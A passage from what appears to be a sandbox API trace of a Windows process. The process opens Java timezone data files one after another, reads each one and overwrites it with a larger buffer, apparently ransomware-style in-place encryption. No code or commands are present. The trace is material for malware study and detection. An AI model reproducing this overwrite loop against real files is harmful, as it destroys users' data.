lpOverlapped=0x0) returned 1 [0050.745] CloseHandle (hObject=0x1cc) returned 1 [0050.745] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Montreal" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\montreal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.745] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.745] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x788 [0050.745] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.745] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.745] ReleaseMutex (hMutex=0x128) returned 1 [0050.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Montreal", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.745] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Montreal", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Montreal", lpUsedDefaultChar=0x0) returned 8 [0050.745] ReadFile (in: hFile=0x1cc, lpBuffer=0x27e6cb8, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesRead=0x340f2bc*=0x788, lpOverlapped=0x0) returned 1 [0050.752] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.752] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x340f2d0*=0xd10, lpOverlapped=0x0) returned 1 [0050.752] CloseHandle (hObject=0x1cc) returned 1 [0050.752] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Ojinaga" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\ojinaga"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.753] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.753] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x330 [0050.753] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.753] ReleaseMutex (hMutex=0x128) returned 1 [0050.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ojinaga", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Ojinaga", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ojinaga", lpUsedDefaultChar=0x0) returned 7 [0050.753] ReadFile (in: hFile=0x1cc, lpBuffer=0x2750828, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x340f2bc*=0x330, lpOverlapped=0x0) returned 1 [0050.758] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.758] WriteFile (in: hFile=0x1cc, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x340f2d0*=0x8b8, lpOverlapped=0x0) returned 1 [0050.758] CloseHandle (hObject=0x1cc) returned 1 [0050.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rankin_Inlet" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\rankin_inlet"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.759] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.759] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x41c [0050.759] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.759] ReleaseMutex (hMutex=0x128) returned 1 [0050.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rankin_Inlet", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Rankin_Inlet", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Rankin_Inlet", lpUsedDefaultChar=0x0) returned 12 [0050.759] ReadFile (in: hFile=0x1cc, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x41c, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x340f2bc*=0x41c, lpOverlapped=0x0) returned 1 [0050.768] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.768] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x9a4, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x340f2d0*=0x9a4, lpOverlapped=0x0) returned 1 [0050.769] CloseHandle (hObject=0x1cc) returned 1 [0050.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Scoresbysund" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\scoresbysund"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.769] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.769] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x410 [0050.769] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.769] ReleaseMutex (hMutex=0x128) returned 1 [0050.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scoresbysund", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scoresbysund", cchWideChar=12, lpMultiByteStr=0x1e630ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scoresbysund", lpUsedDefaultChar=0x0) returned 12 [0050.769] ReadFile (in: hFile=0x1cc, lpBuffer=0x1dab628, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dab628*, lpNumberOfBytesRead=0x340f2bc*=0x410, lpOverlapped=0x0) returned 1 [0050.789] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.789] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x340f2d0*=0x998, lpOverlapped=0x0) returned 1 [0050.789] CloseHandle (hObject=0x1cc) returned 1 [0050.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Thunder_Bay" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\thunder_bay"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.793] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.794] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4a4 [0050.794] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.794] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.794] ReleaseMutex (hMutex=0x128) returned 1 [0050.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Thunder_Bay", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.794] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Thunder_Bay", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Thunder_Bay", lpUsedDefaultChar=0x0) returned 11 [0050.794] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4a4, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x340f2bc*=0x4a4, lpOverlapped=0x0) returned 1 [0050.796] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.796] WriteFile (in: hFile=0x1cc, lpBuffer=0x276d7b8*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d7b8*, lpNumberOfBytesWritten=0x340f2d0*=0xa2c, lpOverlapped=0x0) returned 1 [0050.797] CloseHandle (hObject=0x1cc) returned 1 [0050.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Antarctica\\Davis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\antarctica\\davis"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.798] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.798] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x75 [0050.798] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.798] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.798] ReleaseMutex (hMutex=0x128) returned 1 [0050.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Davis", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.798] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Davis", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Davis", lpUsedDefaultChar=0x0) returned 5 [0050.799] ReadFile (in: hFile=0x1cc, lpBuffer=0x25d4560, nNumberOfBytesToRead=0x75, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25d4560*, lpNumberOfBytesRead=0x340f2bc*=0x75, lpOverlapped=0x0) returned 1 [0050.799] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.799] WriteFile (in: hFile=0x1cc, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x5fd, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x340f2d0*=0x5fd, lpOverlapped=0x0) returned 1 [0050.800] CloseHandle (hObject=0x1cc) returned 1 [0050.800] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Almaty" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\almaty"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.800] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.800] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1c5 [0050.800] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.800] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.800] ReleaseMutex (hMutex=0x128) returned 1 [0050.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Almaty", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.800] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Almaty", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Almaty", lpUsedDefaultChar=0x0) returned 6 [0050.800] ReadFile (in: hFile=0x1cc, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1c5, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x340f2bc*=0x1c5, lpOverlapped=0x0) returned 1 [0050.801] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0050.801] WriteFile (in: hFile=0x1cc, lpBuffer=0x27e6cb8*, nNumberOfBytesToWrite=0x74d, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesWritten=0x340f2d0*=0x74d, lpOverlapped=0x0) returned 1 [0050.802] CloseHandle (hObject=0x1cc) returned 1 [0050.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Beirut" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\beirut"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0050.802] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.802] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4b8 [0050.802] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0050.802] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.802] ReleaseMutex (hMutex=0x128) returned 1 [0050.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Beirut", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.802] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Beirut", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Beirut", lpUsedDefaultChar=0x0) returned 6 [0050.802] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x340f2bc*=0x4b8, lpOverlapped=0x0) returned 1 [0051.228] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0051.232] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dad668*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dad668*, lpNumberOfBytesWritten=0x340f2d0*=0xa40, lpOverlapped=0x0) returned 1 [0051.232] CloseHandle (hObject=0x1cc) returned 1 [0051.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dushanbe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\dushanbe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0052.828] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0052.828] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x105 [0052.828] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0052.828] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.828] ReleaseMutex (hMutex=0x128) returned 1 [0052.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dushanbe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0052.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dushanbe", cchWideChar=8, lpMultiByteStr=0x1e630ac, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dushanbe", lpUsedDefaultChar=0x0) returned 8 [0052.829] ReadFile (in: hFile=0x1a0, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x105, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x340f2bc*=0x105, lpOverlapped=0x0) returned 1 [0052.829] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0052.829] WriteFile (in: hFile=0x1a0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68d, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x68d, lpOverlapped=0x0) returned 1 [0052.830] CloseHandle (hObject=0x1a0) returned 1 [0052.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jerusalem" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\jerusalem"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.646] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.646] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4d4 [0053.647] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.647] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.647] ReleaseMutex (hMutex=0x128) returned 1 [0053.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jerusalem", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0053.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Jerusalem", cchWideChar=9, lpMultiByteStr=0x1e62fec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Jerusalem", lpUsedDefaultChar=0x0) returned 9 [0053.647] ReadFile (in: hFile=0x1cc, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x340f2bc*=0x4d4, lpOverlapped=0x0) returned 1 [0053.648] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.648] WriteFile (in: hFile=0x1cc, lpBuffer=0x26156a8*, nNumberOfBytesToWrite=0xa5c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156a8*, lpNumberOfBytesWritten=0x340f2d0*=0xa5c, lpOverlapped=0x0) returned 1 [0053.648] CloseHandle (hObject=0x1cc) returned 1 [0053.649] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kuching" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\kuching"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0053.649] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.649] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xd9 [0053.649] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0053.649] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.649] ReleaseMutex (hMutex=0x128) returned 1 [0053.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kuching", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.649] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kuching", cchWideChar=7, lpMultiByteStr=0x1e6a7bc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kuching", lpUsedDefaultChar=0x0) returned 7 [0053.649] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c5088, nNumberOfBytesToRead=0xd9, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5088*, lpNumberOfBytesRead=0x340f2bc*=0xd9, lpOverlapped=0x0) returned 1 [0053.650] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0053.650] WriteFile (in: hFile=0x1cc, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x661, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: 